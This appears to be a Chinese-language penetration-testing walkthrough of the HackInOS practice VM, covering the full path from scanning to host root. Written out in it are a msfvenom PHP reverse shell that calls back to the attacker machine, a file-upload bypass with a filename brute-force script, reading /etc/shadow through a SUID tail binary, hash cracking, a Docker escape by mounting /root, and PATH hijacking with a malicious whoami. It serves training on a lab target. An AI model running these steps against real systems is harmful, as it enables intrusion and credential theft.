HackInOS靶机渗透练习
字数 1122 2025-08-15 21:33:37
HackInOS靶机渗透教学文档
1. 环境准备
- 网络拓扑:
- VMware虚拟机环境
- 靶机IP: 192.168.1.136
- Kali攻击机IP: 192.168.1.137/24
- 网关IP: 192.168.1.3
2. 信息收集阶段
2.1 主机发现
使用Nmap进行主机扫描:
nmap -sP 192.168.1.0/24
2.2 端口扫描
识别开放服务:
nmap -sV 192.168.1.136
发现开放端口:
- 22 (SSH)
- 8000 (HTTP服务)
3. Web应用渗透
3.1 初步侦察
访问Web服务:
http://192.168.1.136:8000
检查robots.txt文件,发现文件上传页面提示。
3.2 文件上传漏洞利用
- 生成PHP反弹shell:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.137 LPORT=4444 -f raw > 1.php
-
创建图片马:
- 将PHP代码附加到图片文件末尾
- 使用文本编辑器确认代码已正确嵌入
-
上传绕过:
- 使用Burp Suite拦截上传请求
- 修改文件扩展名为.php绕过前端验证
-
文件存储机制分析:
- 系统生成1-100随机数附加到文件名后
- 对结果进行MD5哈希作为最终文件名
3.3 文件路径爆破
- 生成字典:
#!/usr/bin/python
import hashlib
for i in range(101):
file = "3.php"+str(i)
hash = hashlib.md5(file.encode())
dir = hash.hexdigest()+".php"
f = open("zd1.txt","a+")
f.write(dir+"\r\n")
f.close()
- 目录爆破:
dirb "http://192.168.1.136:8000/uploads" zd1.txt
- 获取Meterpreter会话:
- 在Kali上设置监听
- 访问爆破得到的路径触发反弹shell
4. 数据库信息收集
- 获取WordPress配置:
cat wp-config.php
发现数据库凭据:
- 用户名: wordpress
- 密码: wordpress
- 确认Docker环境:
sysinfo
run post/linux/gather/checkcontainer
5. 容器内提权
- 上传信息收集脚本:
upload ~/桌面/linuxprivchecker.py /tmp/linuxprivchecker.py
-
发现SUID提权点:
- tail命令设置了SUID位
-
利用tail读取敏感文件:
tail -c1G /etc/shadow
获取root哈希:
root:$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:17951:0:99999:7:::
- 密码破解:
hashcat -w 3 -a 0 -m 1800 -o root.out root.hash
破解结果:密码为"john"
- 获取交互式shell:
python -c "import pty;pty.spawn('/bin/bash');"
6. Docker逃逸
- 访问数据库:
mysql -h db -u wordpress -p
-
发现SSH凭据:
- 表名: host_ssh_cred
- 密码MD5哈希解密后为"12345"
-
SSH登录:
ssh hummingbirdscyber@192.168.1.136
- 确认Docker组权限:
groups
- 挂载主机目录:
docker run -it -v /root:/root ubuntu:latest
7. 二次提权
- 查找SUID文件:
ls -lh $(find / -perm -u=s -type f 2>/dev/null)
发现可疑文件:/home/hummingbirdscyber/Desktop/a.out
-
分析a.out行为:
- 执行后返回"root"
- 推测调用了whoami命令
-
环境变量检查:
echo $PATH
发现可写目录:/home/hummingbirdscyber/bin
- 创建恶意whoami:
#include <stdlib.h>
int main(void) {
system("/bin/bash -p");
return 0;
}
- 编译并部署:
gcc -o whoami whoami.c
chmod +x whoami
mkdir ~/bin
mv whoami ~/bin/
- 触发提权:
./a.out
成功获取root权限shell
8. 总结
本渗透测试完整流程:
- 通过Web应用文件上传漏洞获取初始立足点
- 利用容器环境配置不当进行提权
- 通过数据库信息发现SSH凭据实现Docker逃逸
- 最终通过环境变量路径劫持获取主机root权限
关键学习点:
- 文件上传漏洞的绕过技术
- 容器环境下的信息收集方法
- SUID提权技术
- 环境变量路径劫持技术
- Docker逃逸技术